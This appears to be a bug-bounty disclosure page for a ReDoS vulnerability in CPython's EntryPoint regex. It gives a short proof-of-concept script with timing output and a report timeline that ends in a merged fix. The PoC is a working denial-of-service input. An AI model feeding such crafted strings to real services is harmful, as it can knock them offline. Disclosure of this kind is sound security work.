Inefficient Regular Expression Complexity in python/cpython

Valid

Reported on

Dec 22nd 2021


Description

In recent cpython version (31ff9671) I discovered regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service). Vulnerability exists in EntryPoint class which is used to parse package/module entry-points.

Proof of Concept

Simplified PoC based on init.py

import logging
import re


logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s',
                    level=logging.DEBUG)

pattern = re.compile(
    r'(?P<module>[\w.]+)\s*'
    r'(:\s*(?P<attr>[\w.]+))?\s*'
    r'(?P<extras>\[.*\])?\s*$'
)

for i in range(1, 10000):
    s = '0' + ' ' * 1000 * i + '0'
    logging.debug('Started with {} spaces'.format(1000 * i))
    pattern.match(s)
    logging.debug('Finished with {} spaces'.format(1000 * i))

Output:

2021-12-22 16:03:30,754 - DEBUG: Started with 1000 spaces
2021-12-22 16:03:34,566 - DEBUG: Finished with 1000 spaces
2021-12-22 16:03:34,566 - DEBUG: Started with 2000 spaces
2021-12-22 16:04:05,817 - DEBUG: Finished with 2000 spaces
2021-12-22 16:04:05,817 - DEBUG: Started with 3000 spaces
2021-12-22 16:05:49,228 - DEBUG: Finished with 3000 spaces
2021-12-22 16:05:49,228 - DEBUG: Started with 4000 spaces
2021-12-22 16:09:46,348 - DEBUG: Finished with 4000 spaces
2021-12-22 16:09:46,349 - DEBUG: Started with 5000 spaces
2021-12-22 16:17:31,514 - DEBUG: Finished with 5000 spaces
2021-12-22 16:17:31,514 - DEBUG: Started with 6000 spaces
2021-12-22 16:30:40,249 - DEBUG: Finished with 6000 spaces
2021-12-22 16:30:40,249 - DEBUG: Started with 7000 spaces
2021-12-22 16:51:40,826 - DEBUG: Finished with 7000 spaces

You can see that using more spaces extends running time.

Impact

This issue may lead to a denial of service.

We are processing your report and will contact the python/cpython team within 24 hours. 5 months ago
We have contacted a member of the python/cpython team and are waiting to hear back 5 months ago
We have sent a follow up to the python/cpython team. We will try again in 7 days. 5 months ago
We have sent a second follow up to the python/cpython team. We will try again in 10 days. 5 months ago
We have sent a third and final follow up to the python/cpython team. This report is now considered stale. 4 months ago
python/cpython maintainer has invalidated this vulnerability 4 months ago

Stop spamming us with automated messages. Only humans should contact Python's security list.

The disclosure bounty has been dropped
The fix bounty has been dropped
Jamie Slome validated this vulnerability 4 months ago
theworstcomrade has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jamie Slome confirmed that a fix has been merged on 1514d1 4 months ago
The fix bounty has been dropped
to join this conversation